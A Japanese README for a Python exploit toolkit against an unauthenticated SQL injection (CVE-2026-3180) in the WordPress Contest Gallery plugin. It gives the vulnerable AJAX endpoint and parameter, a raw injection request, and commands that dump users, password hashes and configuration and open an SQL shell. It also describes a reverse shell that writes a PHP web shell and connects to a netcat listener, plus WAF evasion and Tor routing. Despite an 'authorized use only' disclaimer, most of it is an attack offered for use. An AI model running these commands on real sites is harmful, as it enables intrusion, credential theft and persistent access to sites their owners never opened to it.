
CVE-2026-3180 - WordPress Contest Gallery SQL Injection 脆弱性のための完全なエクスプロイトツールキット。自動データ抽出、WAFバイパス、リバースシェル、SQLMap統合、Burp拡張機能の生成、ペネトレーションテストおよびセキュリティ研究のためのレポート作成を特長としています。
CVE-2026-3180の概念実証評価ツール
作者: Sudeepa Wanigarathna · 発見: cardosource
[!IMPORTANT] 認可された使用のみ。 このツールは、セキュリティ研究、教育、および所有しているか明示的な書面による許可を得たシステムのテストを目的としています。コンピュータシステムへの不正アクセスは違法です。作者は誤用に対する責任を負いません。
CVE-2026-3180は、WordPressのContest Galleryプラグインにおける高深刻度の認証不要ブラインドSQLインジェクションです。この脆弱性は、post_cg1l_resend_unconfirmed_mail_frontend AJAXハンドラに存在し、cgl_mailパラメータが適切なサニタイズなしにSQLクエリに渡されます。このリポジトリは、許可されたセキュリティ専門家が影響を検証し、WordPressデータを抽出し、レポートを生成し、業界標準ツール(SQLMap、Burp Suite、Nuclei)と統合するためのフル機能のPython PoC(v2.0)を提供します。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2026-3180 |
| CVSS | 7.5 (高) |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| 影響 | 機密性侵害、データベース読み取り、認証情報の窃取 |
| 影響を受ける製品 | WordPress Contest Galleryプラグイン |
| 影響を受けるバージョン | 28.1.4以前 |
| 脆弱性の種類 | ブラインドSQLインジェクション |
| DBMS | MySQL / MariaDB |
| フィールド | 値 |
|---|---|
| URL | /wp-admin/admin-ajax.php |
| メソッド | POST |
| アクション | post_cg1l_resend_unconfirmed_mail_frontend |
| 脆弱なパラメータ | cgl_mail |
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### References
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [元の解説記事 (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## 機能
### コアエクスプロイト
| 機能 | 説明 |
|---|---|
| 脆弱性検出 | ブール型、時間ベース、エラーベース、UNION、スタック型クエリのテスト |
| ブラインド抽出 | ブール推論によるバイナリサーチ文字抽出 |
| フルデータダンプ | ユーザー、データベースメタデータ、オプション、プラグイン、テーマ、投稿、テーブル |
| インタラクティブSQLシェル | バックエンドに対して任意のSELECTクエリを実行 |
| wp-config.php抽出 | 一般的なパスに対するLOAD_FILE()試行 |
| リバースシェル | INTO OUTFILE/DUMPFILEによるPHPウェブシェルの書き込み(許可されている場合) |
### 回避とパフォーマンス
| 機能 | 説明 |
|---|---|
| WAF回避 | 15以上のエンコードおよび難読化技術 |
| マルチスレッド | 高速抽出のための設定可能なワーカースレッド |
| レート制限 | リクエスト間の設定可能な遅延 |
| リトライロジック | 一時的な障害時の自動リトライ |
| User-Agentローテーション | リクエストごとにランダムなブラウザフィンガープリント |
| プロキシサポート | HTTP/SOCKSプロキシおよびTor(socks5h://127.0.0.1:9050) |
### レポートと統合
| 機能 | 説明 |
|---|---|
| レポート生成 | 抽出サマリーを含むJSONおよびHTMLレポート |
| SQLMap統合 | タンパー付きの自動生成SQLMapコマンド |
| Burp Suite拡張 | ジェネレーター + スタンドアロンのburp_contest_gallery.py |
| Nucleiテンプレート | 大量検出用のYAMLテンプレート |
| Metasploitモジュール | Ruby補助モジュール(contest_gallery_sqli.rb) |
| シェル自動化 | curlベースおよびSQLMapワークフロー用のBashスクリプト |
### 運用
| 機能 | 説明 |
|---|---|
| カラーCLI出力 | 重大度レベルによる構造化ログ |
| 進捗トラッキング | リアルタイムメトリクス(リクエスト数、タイミング、抽出速度) |
| クワイエット/バーボースモード | スクリプト化やデバッグに適したモード |
| シグナルハンドリング | Ctrl+C時のグレースフルクリーンアップ |
| Docker対応 | コンテナ化デプロイメントのサポート |
| CI/CDパイプライン対応 | 自動化のための終了コードとJSON出力 |
---
## インストール
### 前提条件
- Python 3.8以上
- pip
- テスト対象へのネットワーク到達可能性
### オプションの外部ツール
| ツール | 目的 |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | 自動SQLインジェクション |
| [Burp Suite](https://portswigger.net/burp) | 手動テストと拡張機能ホスティング |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | テンプレートベースのスキャン |
| [Hashcat](https://hashcat.net/hashcat/) | オフラインハッシュクラック |
| [Tor](https://www.torproject.org/) | 匿名ルーティング(--proxy tor) |
### セットアップ```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
必須(実行時):```text requests>=2.31.0
**推奨 (from requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
メインのエクスプロイトは Python 標準ライブラリと
requestsのみを使用します。追加のパッケージにより出力とレポートが強化されます。
http://target.exampleをラボまたは許可されたターゲットのみに置き換えてください。
python3 cve-2026-3180.py http://target.example --scan
### 完全なエクスプロイテーション (検出 + 抽出)```bash
python3 cve-2026-3180.py http://target.example
python3 cve-2026-3180.py http://target.example --dump users
### 対話型SQLシェル```bash
python3 cve-2026-3180.py http://target.example --sql-shell
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
### Burp プロキシ経由```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
python3 cve-2026-3180.py http://target.example --scan
ブール型、時間ベース、エラーベースの検出を完全な抽出なしで実行します。
### 完全なデータ抽出```bash
python3 cve-2026-3180.py http://target.example --dump all
データベース情報、ユーザー、オプション、プラグイン、テーマ、投稿、テーブル、およびシステムメタデータを抽出します。
python3 cve-2026-3180.py http://target.example --dump database python3 cve-2026-3180.py http://target.example --dump users python3 cve-2026-3180.py http://target.example --dump config python3 cve-2026-3180.py http://target.example --dump options python3 cve-2026-3180.py http://target.example --dump plugins python3 cve-2026-3180.py http://target.example --dump themes
### 対話型SQLシェル```bash
python3 cve-2026-3180.py http://target.example --sql-shell
vis```text sql> SELECT DATABASE() wordpress
sql> show users [ { "username": "admin", "email": "[email protected]", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
**シェルコマンド:**
| Command | Description |
|---|---|
| `SELECT ...` | SQLクエリを実行し、結果を表示する |
| `show users` | キャッシュされた抽出ユーザーを表示する |
| `show tables` | キャッシュされたテーブル一覧を表示する |
| `show database` | キャッシュされたDBメタデータを表示する |
| `show config` | 抽出されていればwp-config.phpを表示する |
| `show options` | WordPressオプションを表示する |
| `show plugins` | アクティブなプラグインを表示する |
| `help` | 利用可能なコマンドを一覧表示する |
| `exit` / `quit` | シェルを終了する |
### レポート生成```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
nc -lvnp 4444
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
> `FILE`権限、書き込み可能なウェブルート、および`secure_file_priv`が対象パスをブロックしていないことが必要です。